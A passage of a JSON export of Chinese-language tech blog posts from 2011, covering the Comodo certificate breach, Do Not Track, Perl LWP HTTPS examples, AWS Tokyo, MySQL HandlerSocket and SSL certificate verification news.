    "body": "昨天提到的「<a href=\"http://blog.gslin.org/archives/2011/03/21/2517/header-file-%e8%88%87-gplv2-%e7%9a%84%e3%80%8c%e8%a1%8d%e7%94%9f%e4%bd%9c%e5%93%81%e3%80%8d\">header file 與 GPL(v2) 的「衍生作品」...</a>」，Linus Torvalds 也跑出來講話了：「<a href=\"http://www.itworld.com/open-source/140916/android-sued-microsoft-not-linux\">Android: Sued by Microsoft, not by Linux</a>」\r\n<blockquote>It seems totally bogus. We've always made it very clear that the kernel system call interfaces do <em>not</em> in any way result in a derived work as per the GPL, and the kernel details are exported through the kernel headers to all the normal glibc interfaces too.</blockquote>\r\n他也不認為 header file (也就是提到的「kernel system call interfaces」) 會造成 <a href=\"http://www.gnu.org/licenses/gpl-2.0.html\">GPLv2</a> 內所提到的 derived work。",
    "title": "關於 Android 授權 (License) 的爭論：Linus Torvalds 的說法"
  },
  {
    "id": "2528",
    "body": "在 <a href=\"http://techcrunch.com/\">TechCrunch</a> 上看到的文章：「<a href=\"http://techcrunch.com/2011/03/22/googlers-buy-more-junk-food-than-microsofties-and-why-rapleaf-is-creepy/\">Googlers Buy More Junk Food Than Microsofties (And Why Rapleaf Is Creepy)</a>」，文章裡面提到 <a href=\"http://www.rapleaf.com/\">RapLeaf</a> 這家公司從 Internet 上挖資料分析了 <a href=\"http://www.google.com/\">Google</a> 與<a href=\"http://www.microsoft.com/\">微軟</a>這兩家公司的員工的飲食習慣，發現 Google 的員工比微軟的員工喜歡吃垃圾食物...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vS0sb.webp\" /><img src=\"https://i.gslin.com/imgur/vS0sb.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/70gwg.webp\" /><img src=\"https://i.gslin.com/imgur/70gwg.jpg\" alt=\"\" /></picture>\r\n\r\n雖然是做噱頭的 startup，但這還是說明 Social Network 上可以分析的資料其實種類相當多，如果 <a href=\"http://www.facebook.com/\">Facebook</a> 自己丟人力下去做的話應該會更驚人...",
    "title": "Google 與微軟的員工的比較：食物..."
  },
  {
    "id": "2529",
    "body": "剛剛測了一下不同畫質設定時的畫面，把他改成最低了，這是最低畫質 (with JPEG) 的畫面，50KB 左右：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5551757976/\"><img src=\"http://farm6.static.flickr.com/5296/5551757976_b706c7b96e_o.jpg\" alt=\"\" /></a>\r\n\r\n這樣看起來是夠用了...",
    "title": "拍照軟體 ShootMe 的畫質..."
  },
  {
    "id": "2531",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到英國有大學嘗試使用直流電供應電腦電源：「<a href=\"http://hardware.slashdot.org/story/11/03/22/1625247/University-Switches-To-DC-Workstations\">University Switches To DC Workstations</a>」。\r\n\r\n在機房內有些設備是可以吃 48V DC，也有 UPS 是設計給 48V DC 用的 (<a href=\"http://www.apc.com/resource/include/techspec_index.cfm?base_sku=SBATTBLK\">APC AV Black S Type Extended Battery Pack 48Vdc</a>)，當初聽別人說是「因為轉換效率比較高所以省電」，但究竟可以省多少？我記得現在的 110V/220V 的 AC ATX PSU 轉換效率超過 80%？機房端轉成 110V/220V AC 與 48V DC 又差多少？\r\n\r\n試著找 48V DC ATX PSU，有找到「<a href=\"http://www.powerstream.com/DC-PC-48V.htm\">48 V DC Input PC ATX-12 Style Power Supplies</a>」這個，另外也有其他電壓的 PSU...\r\n\r\n感覺一般電腦用 DC Input 是一種新的嘗試，也是 PR 稿...",
    "title": "直流電電源供應 PC..."
  },
  {
    "id": "2532",
    "body": "老舊的 Notebook 是跑 32bits 版本 (因為 CPU 根本就不支援 64bits)，把 <a href=\"http://java.com/\">Java</a> 開起來 (我平常是關掉的)，連上 SSLVPN 後就會自動安裝了 (安裝的過程中會跳視窗出來要 sudo permission)，但在 x86_64 下面卻一直跑不起來，就沒辦法連回公司內部網路...\r\n\r\n網路上找了找發現這篇：「<a href=\"http://www2.warwick.ac.uk/services/its/servicessupport/networkservices/vpn/faqs/anyconnect/client_manual_install/\">Manual Installation only for Ubuntu Linux 10.10 64-bit</a>」，居然要裝 32bits Firefox XDDD\r\n\r\n自己亂翻以後發現 <a href=\"http://www.unix-ag.uni-kl.de/~massar/vpnc/\">vpnc - client for cisco vpn concentrator</a> 可以用，而且有被整合進 Network Manager，測了以後發現沒問題，這樣我的 Notebook 也換成 vpnc 好了...\r\n\r\n<strong>Update</strong>：剛剛在 Notebook 上重設，發現不是 vpnc 連上去 (這是 IPSec VPN)，而是 <a href=\"http://www.infradead.org/openconnect.html\">OpenConnect</a>...\r\n\r\n接下來要找 <a href=\"http://www.juniper.net/\">Juniper</a> SSLVPN 的 solution 了...",
    "title": "在 Ubuntu 10.10 x86_64 下連 Cisco AnyConnect"
  },
  {
    "id": "2535",
    "body": "剛剛看到 <a href=\"http://www.cpan.org/\">CPAN</a> 網站上直接由官方支援 Syntax Highlighter：<a href=\"http://blogs.perl.org/users/mark_a_stratman/2011/03/syntax-highlighting-for-searchcpanorg.html\">Syntax highlighting for search.cpan.org</a>，雖然目前的 UI 做的並不太好 (選擇 theme 的選擇條應該是上下都要有，目前只有最下方)，但仍然是進步不少...\r\n\r\n之前的 Greasemonkey script 在 Firefox 4.0 上爛掉 (因為 async loading 的關係)，本來還在想要怎麼處理，現在看起來就用官方提供的就好了...",
    "title": "CPAN 官方支援 Syntax Highlighter..."
  },
  {
    "id": "2537",
    "body": "這兩件事情加起來會不會太巧合...\r\n\r\n首先是有攻擊者成功利用 <a href=\"http://www.comodo.com/\">Comodo</a> CA 產生 <code>www.google.com</code>、<code>login.yahoo.com</code>、<code>login.skype.com</code>、<code>addons.mozilla.org</code>、<code>login.live.com</code> 的 SSL certificate：「<a href=\"http://www.comodo.com/Comodo-Fraud-Incident-2011-03-23.html\">Report of incident on 15-MAR-2011</a>」，雖然被 revoke (撤銷)，但是我們知道 revoke 機制極度脆弱：「<a href=\"http://www.imperialviolet.org/2011/03/18/revocation.html\">Revocation doesn't work</a>」。\r\n\r\n過沒幾天，有人發現 <a href=\"http://www.att.com/\">AT&amp;T</a> 到 <a href=\"http://www.facebook.com/\">Facebook</a> 的流量會流經中國 ISP 的網路設備：「<a href=\"http://www.theregister.co.uk/2011/03/23/facebook_traffic_china_telecom/\">Facebook traffic mysteriously passes through Chinese ISP</a>」。\r\n\r\n關於這幾件事情，我們能做的並不多，只能僅可能的做：\r\n<ul>\r\n\t<li>首先先移除 CNNIC 的 CA，步驟用 <a href=\"http://www.google.com/\">Google</a> 找應該很多，因為去年二月時有不少人有寫文章：搜尋「<a href=\"http://www.google.com/search?q=%E7%A7%BB%E9%99%A4+CNNIC\">移除 CNNIC</a>」。</li>\r\n\t<li>在 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://twitter.com/\">Twitter</a> 上預設開啟 SSL：「<a href=\"http://blog.facebook.com/blog.php?post=486790652130\">A Continued Commitment to Security</a>」、「<a href=\"http://blog.twitter.com/2011/03/making-twitter-more-secure-https.html\">Making Twitter more secure: HTTPS</a>」。</li>\r\n</ul>\r\n接下來就是祈禱了...",
    "title": "網路愈來愈不安全，能自救的方式並不多..."
  },
  {
    "id": "2538",
    "body": "<a href=\"https://github.com/\">GitHub</a> 剛剛發信給地址裡有「Taipei」的人，通知大家晚上在台北有聚會... 但是看到信件的時候已經是下午兩點 XD\r\n\r\n這是 blog 上的公告：「<a href=\"https://github.com/blog/822-taipei-drinkup-tonight\">Taipei Drinkup Tonight!</a>」。(不，天氣太冷了，我要在棉被裡面找周公)\r\n\r\n直接借地圖來用：(在「<a href=\"http://www.juliana-taipei.com/\">Juliana食尚餐飲運動酒吧</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Vd1Da.webp\" /><img src=\"https://i.gslin.com/imgur/Vd1Da.jpg\" alt=\"\" /></picture>\r\n\r\n有興趣的人可以去聊聊...",
    "title": "GitHub 今天晚上在台北有聚會！"
  },
  {
    "id": "2539",
    "body": "國內各網站都不太提這個東西，大概是因為他們都得靠廣告維生，所以完全不提... XD\r\n\r\n2007 年的時候 <a href=\"http://pesty.yichi.org/\">pesty</a> 寫過一篇文章，關於網路廣告平台要如何判斷你的「特徵」(以文章內的例子，可以判斷出你的性別)：「<a href=\"http://pesty.yichi.org/blog/2007/05/10/clickstream/\">網路廣告商怎麼知道你是誰? 從 ClickStream 來判斷用戶資料</a>」，這樣可以藉由更精準的投放，提高廣告的成效。\r\n\r\n以 pesty 舉出的例子來說，假設你逛過 26 個網站，其中五個有 <a href=\"http://www.doubleclick.com/\">DoubleClick</a> 廣告，那麼 DoubleClick 就可以依據這些資料，以及統計方法，分析你的特徵：(圖有點大張，請點小圖看大圖)\r\n\r\n<a href=\"https://i.gslin.com/imgur/ffOz2.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ffOz2l.webp\" /><img src=\"https://i.gslin.com/imgur/ffOz2l.jpg\" alt=\"\" /></picture></a>\r\n\r\n不少廣告商都有提供 opt-out (退出) 的功能讓你不被分析，但網路廣告商這麼多，你不太可能一個一個去各網站設定退出。所以有些人寫了 Firefox 套件「自力救濟」，你只要裝了這些套件就可以自動退出上百個廣告商的分析：「<a href=\"https://addons.mozilla.org/firefox/addon/beef-taco-targeted-advertising/\">Beef Taco (Targeted Advertising Cookie Opt-Out)</a>」、「<a href=\"https://addons.mozilla.org/zh-tw/firefox/addon/targeted-advertising-cookie-op/\">Targeted Advertising Cookie Opt-Out (TACO)</a>」。\r\n\r\n另外則是有群人開始提議，是不是可以直接在瀏覽器裡面設定，當每次開網站的時候都固定送出某個資訊，告訴這些網站 (以及廣告商) 你不願意讓他們分析使用者行為。這個提議也就是標題所提到的「<strong>Do Not Track</strong>」。這個提議也送到 <a href=\"http://www.ietf.org/\">IETF</a> (網際網路工程任務組) 及 <a href=\"http://www.ftc.gov/\">FTC</a> (美國聯邦貿易委員會，這是個美國政府單位)，希望能夠變成 IETF 標準，並且可以透過法律強制執行：「<a href=\"http://cyberlaw.stanford.edu/node/6621\">Do Not Track FTC Comment: What It Means, How to Enforce It, and More</a>」。\r\n\r\n最近 IE9 與 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a>4 都內建了 <a href=\"http://donottrack.us/\">Do Not Track</a> 機制，<strong>預設是關閉的</strong>。以 Firefox 4 的設定來說，滑鼠游標在的那個選項就是 Do Not Track：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SCf3a.webp\" /><img src=\"https://i.gslin.com/imgur/SCf3a.jpg\" alt=\"\" /></picture>\r\n\r\n如果你還在用 Firefox 3.6 也沒關係，<a href=\"http://adblockplus.org/\">Adblock Plus</a> 新版 (1.3.5) 也要支援 Do Not Track 了：「<a href=\"http://adblockplus.org/blog/do-not-track-support-in-adblock-plus\">Do Not Track support in Adblock Plus</a>」。\r\n\r\n設上去以後連任何站台都會送 DNT header，滑鼠游標在的那個地方就是 DNT header：(圖有點大張，請點小圖看大圖)\r\n\r\n<a href=\"https://i.gslin.com/imgur/Xjz6x.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Xjz6xl.webp\" /><img src=\"https://i.gslin.com/imgur/Xjz6xl.jpg\" alt=\"\" /></picture></a>\r\n\r\nIE9 的部份因為沒有在用，所以暫時沒有截圖可以看... XD",
    "title": "網路隱私權的改善：Do Not Track"
  },
  {
    "id": "2543",
    "body": "開張不到一個月的 <a href=\"http://aws.amazon.com/\">AWS</a> Japan 今天宣佈啟用第二個 Availability Zone：「<a href=\"http://aws.typepad.com/aws/2011/03/adding-a-second-availability-zone-in-tokyo.html\">Adding a Second AWS Availability Zone in Tokyo</a>」，第一個 AZ 是在 2011/03/02 宣佈啟用：「<a href=\"http://blog.gslin.org/archives/2011/03/02/2485/amazon-web-services-%E6%9D%B1%E4%BA%AC%EF%BC%81\">Amazon Web Services 東京！</a>」。\r\n\r\n好快的速度... 是因為全世界對亞洲的需求嗎？",
    "title": "AWS 東京第二個 AZ (Availability Zone) 今天啟用..."
  },
  {
    "id": "2545",
    "body": "前幾天 <a href=\"http://jnlin.org/\">jnlin</a> 在 <a href=\"http://osdc.tw/\">OSDC.TW</a> 2011 上面講了「<a href=\"http://jnlin.org/2011/03/26/474/\">HandlerSocket – A NoSQL Plugin for MySQL</a>」，剛好 <a href=\"http://www.percona.com/\">Percona</a> 的 Ryan Lowe 也提到了「<a href=\"http://www.mysqlperformanceblog.com/2011/03/28/whats-up-with-handlersocket/\">What’s up with HandlerSocket?</a>」，試著分析 (並猜測) <a href=\"https://github.com/ahiguti/HandlerSocket-Plugin-for-MySQL\">HandlerSocket</a> 為什麼沒有被廣泛使用。\r\n\r\n除了技術的問題外，最主要在於運作：Open Source 不是把程式丟出來就覺得沒事了，要僅可能讓使用者容易使用。\r\n\r\n比較好運作方式是在重大的 bug 修掉之後就推出 minor version release，一方面讓一些願意整合的單位有「基準」可以整合 (像是 Percona 這樣的公司)，另外一方面可以讓 community 感覺是個有在動的 project...\r\n\r\n像是文章裡提到的兩個 bug，一個在今年年初已經修正 (write invalidate)，另外一個大約兩個禮拜前修正了 (insert auto-increment)，只是很多人不太清楚而已。\r\n\r\n目前這個專案的感覺跟 <a href=\"http://www.facebook.com/\">Facebook</a> 丟出來的 <a href=\"http://memcached.org/\">memcached</a> 還蠻像的：「<a href=\"https://github.com/facebook/memcached\">facebook / memcached</a>」，Facebook memcached 的情況是很明顯「老闆說要 open source，我就丟出來吧」的感覺，原來的 community 也懶的理他，看一看有沒有可以用的 code 可以整合，然後繼續發展自己的...",
    "title": "MySQL HandlerSocket 的情況..."
  },
  {
    "id": "2547",
    "body": "之前被人破台，利用 <a href=\"http://www.comodo.com/\">Comodo</a> CA 生出 <a href=\"https://addons.mozilla.org/\">addons.mozilla.org</a> SSL certification 的 private key 被放出來了：「<a href=\"http://news.netcraft.com/archives/2011/03/29/comodo-hacker-releases-mozilla-certificate.html\">Comodo Hacker releases Mozilla certificate</a>」。借 Netcraft 的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NZ7bS.webp\" /><img src=\"https://i.gslin.com/imgur/NZ7bS.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 的 revoke 機制不怎麼完善，對於用 Firefox 的人，直到 <a href=\"http://www.mozilla.org/\">Mozilla</a> 有新的方法解決之前都必須很小心了 :/",
    "title": "addons.mozilla.org 的 Comodo SSL Certificate 被放出 Private Key"
  },
  {
    "id": "2548",
    "body": "<a href=\"http://www.stevesouders.com/blog/\">Steve Souders</a> 分析了手機瀏覽 <a href=\"http://www.bing.com/\">Bing</a> 與 <a href=\"http://www.google.com/\">Google</a> 的手機平台時，這兩個平台如何處理 cache issue：「<a href=\"http://www.stevesouders.com/blog/2011/03/28/storager-case-study-bing-google/\">Storager case study: Bing, Google</a>」。\r\n\r\n這兩個平台不約而同都用上 HTML5 的 <a href=\"http://dev.w3.org/html5/webstorage/\">localStorage</a>，其中 Bing 用了 ~170KB (未壓縮大小) 的 localStorage，內容包括 CSS/JS/JSON，而 Google 也用了 154KB 存放這些資料。\r\n\r\n這應該是因為手機平台的 browser cache 共用一塊不大的空間，很容易被 purge：(我的 Desire 跑 Android 2.2，剛剛看設定，預設值是最大值 6MB)\r\n\r\n<img src=\"https://i.gslin.com/imgur/LzGoSl.jpg\" alt=\"\" />\r\n\r\n而 localStorage 則是每個 domain 自己一份空間，相對於共用的空間反而更適合當 cache...",
    "title": "Bing 與 Google 都使用 HTML5 的 localStorage 加速手機瀏覽速度..."
  },
  {
    "id": "2549",
    "body": "<a href=\"http://www.mattcutts.com/blog/\">Matt Cutts</a> 在 <a href=\"https://twitter.com/\">Twitter</a> 上面提到 <a href=\"http://www.google.com/\">Google</a> 公司內的網路速度：\r\n\r\n<script src=\"http://tweetag.com/widgets/status.php?id=52909547836280833\"></script>\r\n\r\n首先是 Speedtest.net 的測試速度：(Holy... 那個上載速度超過 100Mbps 啊)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P6Ryy.webp\" /><img src=\"https://i.gslin.com/imgur/P6Ryy.jpg\" alt=\"\" /></picture>\r\n\r\n然後是遊戲 (<a href=\"http://www.riftgame.com/\">RIFT</a>) 下載的速度：(剩下 7.xGB 的檔案只要三分鐘多就可以傳完)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GH1FU.webp\" /><img src=\"https://i.gslin.com/imgur/GH1FU.jpg\" alt=\"\" /></picture>\r\n\r\n這真是太炫耀了 =_=",
    "title": "Google 公司內網路速度的炫耀文..."
  },
  {
    "id": "2550",
    "body": "<a href=\"http://search.cpan.org/dist/libwww-perl/\">libwww-perl</a> 裡的 <code>LWP::UserAgent</code> 可以處理 HTTPS，並利用 CA 驗證 public key 是否簽過。在 FreeBSD 下安裝 <a href=\"http://www.freshports.org/security/ca_root_nss/\">ca_root_nss</a> 後可以在 <code>/usr/local/share/certs/</code> 下看到檔案，於是可以這樣用：\r\n<blockquote><pre>#!/usr/bin/env perl\r\nuse strict;\r\nuse warnings;\r\nuse LWP::UserAgent;\r\n\r\nINIT {\r\n    my $ua = LWP::UserAgent-&gt;new;\r\n    $ua-&gt;ssl_opts(SSL_ca_file =&gt;\r\n        '/usr/local/share/certs/ca-root-nss.crt');\r\n\r\n    my $res = $ua-&gt;get('https://mail.google.com/mail/');\r\n    print $res-&gt;content;\r\n}</pre></blockquote>\r\n在 <a href=\"http://www.debian.org/\">Debian</a> 或是 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下則是透過 <a href=\"http://packages.debian.org/ca-certificates\">ca-certificates</a> 裝到 <code>/etc/ssl/certs/</code> 下，並且分成很多檔案，這時候本來的 <code>ssl_opts</code> 就要改成 <code>SSL_ca_path =&gt; '/etc/ssl/certs/';</code>。\r\n\r\nPS：<a href=\"http://www.freebsd.org/\">FreeBSD</a> 上因為是單檔，依照 <a href=\"http://www.openssl.org/docs/ssl/SSL_CTX_load_verify_locations.html\">SSL_CTX_load_verify_locations(3)</a> 這邊的說明，沒辦法用 CApath...",
    "title": "在 Perl 裡用 LWP::UserAgent (以及繼承它的模組) 時使用 HTTPS 連線處理 CA 認證..."
  },
  {
    "id": "2551",
    "body": "<a href=\"http://www.stevesouders.com/\">Steve Souders</a> 公開新網站 <a href=\"http://httparchive.org/\">HTTP Archive</a>。類似於 <a href=\"http://www.archive.org/\">Internet Archive</a> 紀錄網站的每個時間點的樣子，HTTP Archive 紀錄網站每個時間點的 HTTP 效能：「<a href=\"http://www.stevesouders.com/blog/2011/03/30/announcing-the-http-archive/\">Announcing the HTTP Archive</a>」。\r\n\r\n目前蒐集了 ~17000 個網站，每個網站約每兩個禮拜分析一次，選擇的網站來自 <a href=\"http://www.alexa.com/topsites\">Alexa Topsites</a>、<a href=\"http://money.cnn.com/magazines/fortune/fortune500/2010/full_list/\">Fortune 500</a> (2010)、<a href=\"http://www.quantcast.com/top-sites-1\">Quantcast</a>。翻了自家的站台，看起來是從 2010 年 11 月就開始跑...\r\n\r\n也因為紀錄了很多網站，所以也有些有趣的數據可以在「<a href=\"http://httparchive.org/interesting.php\">Interesting stats</a>」這邊看到 (有日期可以選)。",
    "title": "HTTP Archive：網站速度的歷史紀錄"
  },
  {
    "id": "2554",
    "body": "<iframe src=\"http://player.vimeo.com/video/21441272\" width=\"600\" height=\"450\" frameborder=\"0\"></iframe>\r\n\r\n<a href=\"http://vimeo.com/21441272\">「攻殻機動隊 S.A.C.」シリーズ 電脳空間システム</a> from <a href=\"http://vimeo.com/bmcl\">BMCL</a> on <a href=\"http://vimeo.com\">Vimeo</a>.\r\n\r\n用 <a href=\"http://www.xbox.com/kinect\">Kbox Kinect</a> 模擬《攻殼機動隊 Stand Alone Complex》內的電腦空間，1989 年的漫畫作品、2003 年的電視動畫... 在 2011 年的現在有機會用「平價」的設備在現實生活中模擬一些經典場景了... XD",
    "title": "用 Xbox Kinect 模擬攻殼機動隊 Stand Alone Complex 內的電腦空間"
  },
  {
    "id": "2556",
    "body": "程式在這裡，用 <a href=\"http://www.perl.org/\">Perl</a> 寫的，讀 <a href=\"https://twitter.com/\">Twitter</a> 的 RSS feed 然後丟上 <a href=\"http://www.plurk.com/\">Plurk</a>：\r\n\r\n<script src=\"https://gist.github.com/897085.js?file=gistfile1.txt\"></script>\r\n\r\n另外裡面用到的 SQLite schema 是：\r\n<blockquote><code>CREATE TABLE entry (id INTEGER PRIMARY KEY AUTOINCREMENT, guid VARCHAR, updated BOOLEAN);</code></blockquote>\r\n其中 <code>updated</code> 欄位是沒用到的，但我暫時懶的改了...\r\n\r\nbtw，寫這個程式讓我對 Plurk 的資安感覺到絕望 XD",
    "title": "Twitter 轉 Plurk 的程式..."
  },
  {
    "id": "2559",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dEmsV.webp\" /><img src=\"https://i.gslin.com/imgur/dEmsV.jpg\" alt=\"http://www.webhosting.info/registrars/top-registrars/global/\" /></picture>\r\nFrom：「<a href=\"http://www.webhosting.info/registrars/top-registrars/global/\">Largest ICANN Registrars</a>」。\r\n\r\n<a href=\"http://www.godaddy.com/\">GoDaddy</a> 是目前最大的 DNS 註冊商，遙遙領先其他單位，結果前陣子 GoDaddy CEO Bob Parsons 去辛巴威 (非洲) 渡假時，拍攝了一段殺象的影片並傳到 <a href=\"http://video.me/\">Video.ME</a> 上 (GoDaddy 自己的影音平台)，被傳開以後馬上被鄉民圍剿：「<a href=\"http://www.video.me/ViewVideo.aspx?vid=380843&amp;ci=23763\">Hunting Problem Elephant</a>」，在 Twitter Trend 也可以看到相關的字眼...\r\n\r\n<script src=\"http://www.video.me/Embed.ashx?vid=380843&amp;autoplay=true&amp;LoopCount=0&amp;width=640&amp;height=382\"></script>\r\n\r\n競爭對手 <a href=\"http://www.namecheap.com/\">Namecheap</a> 也沒打算放過這機會，直接開放「<code>BYEBYEGD</code>」coupon 讓大家將 domain 以 USD$4.99 的費用轉到 Namecheap，其中的 USD$1 則會捐給 <a href=\"http://www.savetheelephants.org/\">Save the Elephants</a>。",
    "title": "GoDaddy CEO (Bob Parsons) 的殺象影片造成 GoDaddy 中槍..."
  },
  {
    "id": "2561",
    "body": "<a href=\"http://search.cpan.org/dist/WWW-Mechanize/\">WWW::Mechanize</a> 是繼承 <a href=\"http://search.cpan.org/dist/libwww-perl/\">libwww-perl</a> 中 LWP::UserAgent 的工具，所以這個方式通用於兩者...\r\n\r\n首先是在取得資料時加上 <code>Accept-Encoding: gzip</code> 的 header，這可以在產生物件時指定，之後就都會送出：\r\n<blockquote><code>my $ua = LWP::UserAgent-&gt;new;\r\n$ua-&gt;default_header('Accept-Encoding' =&gt; 'gzip');</code></blockquote>\r\n取回後直接透過 <a href=\"http://search.cpan.org/dist/HTTP-Message/lib/HTTP/Response.pm\">HTTP::Response</a> 的 decoded_content 幫你處理：\r\n<blockquote><code>my $res = $ua-&gt;get($uri);\r\nmy $msg = $res->decoded_content;</code></blockquote>\r\n取回的 <code>$msg</code> 會是 Perl internal encoding，要變成 UTF-8 還需要透過 <a href=\"http://search.cpan.org/dist/Encode/\">Encode</a> 的 <code>encode('utf8', $msg)</code>。\r\n\r\n這樣只要 server-side 有支援 gzip 就會自動壓縮並且在本地端解開，沒壓縮也沒關係，HTTP::Response 會依照 <code>Content-Type</code> 處理。\r\n\r\n<strong>Update</strong>：<a href=\"http://www.clkao.org/\">clkao</a> 指出 WWW::Mechanize 預設值就會包括 gzip 設定，剛剛拿 code.jquery.com 測試沒錯。",
    "title": "幾個使用 LWP (WWW::Mechanize) 的好習慣..."
  },
  {
    "id": "2563",
    "body": "<a href=\"http://www.google.com/\">Google</a> 在愚人節在 <a href=\"http://googleonlinesecurity.blogspot.com/\">Google Online Security Blog</a> 上發表的方法：「<a href=\"http://googleonlinesecurity.blogspot.com/2011/04/improving-ssl-certificate-security.html\">Improving SSL certificate security</a>」，試著提供一些資源幫助解決 SSL certification 目前遇到的問題...\r\n\r\n前陣子 <a href=\"http://www.comodo.com/\">Comodo</a> 的下游被破台後 (還不只一家)，有不少人又開始在探討現有 SSL certification 所用的 <a href=\"http://en.wikipedia.org/wiki/Public_key_infrastructure\">PKI</a> 架構 (<a href=\"http://zh.wikipedia.org/wiki/%E5%85%AC%E9%96%8B%E9%87%91%E9%91%B0%E5%9F%BA%E7%A4%8E%E5%BB%BA%E8%A8%AD\">公開金鑰基礎建設</a>)，也就是 <a href=\"http://en.wikipedia.org/wiki/Certificate_authority\">CA</a> (<a href=\"http://zh.wikipedia.org/wiki/%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9%A6%E8%AE%A4%E8%AF%81%E4%B8%AD%E5%BF%83\">數位證書認證中心</a>) 的問題。\r\n\r\nGoogle 給的方法是拿 SSL certification 的 SHA1 hex string，加上 <code>.certs.googlednstest.com</code> 組合成一個 domain 名稱，接著拿這個 domain 去查 TXT record，Google 會傳回三個數字讓你判斷這個 SSL certification 的可靠度。\r\n\r\n這三個數字分別是：\r\n<ul>\r\n\t<li>Google 的網頁機器人第一次看到這個 SSL certification 的天數。</li>\r\n\t<li>Google 的網頁機器人最近一次看到這個 SSL certification 的天數。</li>\r\n\t<li>Google 的網頁機器人看過的次數。</li>\r\n</ul>\r\n雖然文章裡面沒提，不過以數字推算，這邊的「天數」應該是指 1970 年 1 月 1 日到現在的天數...\r\n\r\n使用 DNS 查詢的好處在於 DNS 有 cache (Google 把 TTL 設為 86400)，而資料的正確性可以靠正在推廣的 <a href=\"http://www.dnssec.net/\">DNSSEC</a> 建立。\r\n\r\n接下來應該會有人實做 extension 測試了，過一陣子再回頭來看看發展。",
    "title": "SSL Certification 驗證問題中 Google 提供的改善方法..."
  },
  {
    "id": "2565",
    "body": "計中寫信來問 <a href=\"http://group.nctu.edu.tw/\">Group.NCTU.edu.tw</a> 那台機器有點舊了，要不要換機器...\r\n\r\n連進去看一下，這系統好舊啊... XD\r\n<blockquote><code>CPU: Intel Celeron (601.37-MHz 686-class CPU)\r\n  Origin = \"GenuineIntel\"  Id = 0x68a  Stepping = 10\r\n  Features=0x383f9ff&lt;FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE&gt;\r\nreal memory  = 520081408 (495 MB)\r\navail memory = 495312896 (472 MB)</code></blockquote>\r\n換機器的時候順便來重寫吧，有些 plan 想做... 其中最想做的就是抽走 twbbs.org。\r\n\r\n當初會用 twbbs.org 當其中一道 backend 的時候是因為當時 twbbs.org 是由 Ptt 的人代為管理，結果現在亂七八糟的，早點抽掉會比較好...",
    "title": "話說 Group.NCTU.edu.tw 最近被提說要換機器..."
  },
  {
    "id": "2570",
    "body": "<img src=\"https://i.gslin.com/imgur/EScZM.jpg\" alt=\"\" />\r\n\r\n在 <a href=\"http://slashdot.org/\">Slashdot</a> 看到的新聞「<a href=\"http://news.slashdot.org/story/11/04/05/037212/Arizona-Governor-Proposes-Flab-Tax\">Arizona Governor Proposes Flab Tax</a>」，原文轉自 <a href=\"http://wsj.com/\">WSJ</a> 的「<a href=\"http://online.wsj.com/article/SB10001424052748704530204576235151262336300.html\">Arizona Proposes Medicaid Fat Fee</a>」。\r\n\r\n文章裡提到：\r\n<blockquote>Arizona's governor on Thursday proposed levying a $50 fee on some enrollees in the state's cash-starved Medicaid program, <strong>including</strong> obese people who don't follow a doctor-supervised slimming regimen and smokers.</blockquote>\r\n那個「including」的意思表示不只跟這些人收，不然會用「only」而非「including」，以避免被政敵咬住利用，所以還不知道影響範圍有多大...",
    "title": "亞利桑那州將針對肥胖治療的人收錢..."
  },
  {
    "id": "2572",
    "body": "前幾天把 dnscan (我有放在 <a href=\"https://github.com/\">GitHub</a> 上，在 <a href=\"https://github.com/gslin/tools\">gslin/tools</a>) 重新用 <a href=\"http://search.cpan.org/dist/AnyEvent/\">AnyEvent</a> 改寫才發現的：\r\n<blockquote><code>;; ANSWER SECTION:\r\n1.172.112.140.in-addr.arpa. 86400 IN    CNAME   1.0-31.172.112.140.in-addr.arpa.</code></blockquote>\r\n看起來應該是放到獨立網段裡面，再把反解 delegate 下去...",
    "title": "原來 Ptt 在獨立網段一陣子了..."
  },
  {
    "id": "2573",
    "body": "這些 CA 是怎麼管理下面的單位的啊...\r\n\r\n<a href=\"http://slashdot.org/\">Slashdot</a> 報導了 <a href=\"https://www.eff.org/\">EFF</a> 的 Chris Palmer 發現有大量 Unqualified Name 被 sign 過：「<a href=\"http://it.slashdot.org/story/11/04/06/1318248/Thousands-of-SSL-Certs-Issued-To-Unqualified-Names\">Thousands of SSL Certs Issued To Unqualified Names</a>」、「<a href=\"https://www.eff.org/deeplinks/2011/04/unqualified-names-ssl-observatory\">Unqualified Names in the SSL Observatory</a>」。\r\n\r\n依照原文中「You can also use the Observatory in an Amazon EC2 instance we created.」這句話，應該是直接掃整個 IPv4 network 了吧，反正以現在的各種技術來說，IPv4 address space 不大？\r\n\r\n結果相當豐碩，包括了 2201 個 <code>\"localhost\"</code>、806 個 <code>\"exchange\"</code>、2383 個 <code>/^\\w*exchange\\d+$/</code>、5657 個 <code>/^\\w*exch\\d*$/</code>。光是可以在 Internet 上被觀察到的 Unqualified Name 就有 37244 個。\r\n\r\n甚至連 <a href=\"http://en.wikipedia.org/wiki/Extended_Validation_Certificate\">EV Certificate</a> 都有 Unqualified Name 被 sign：「<a 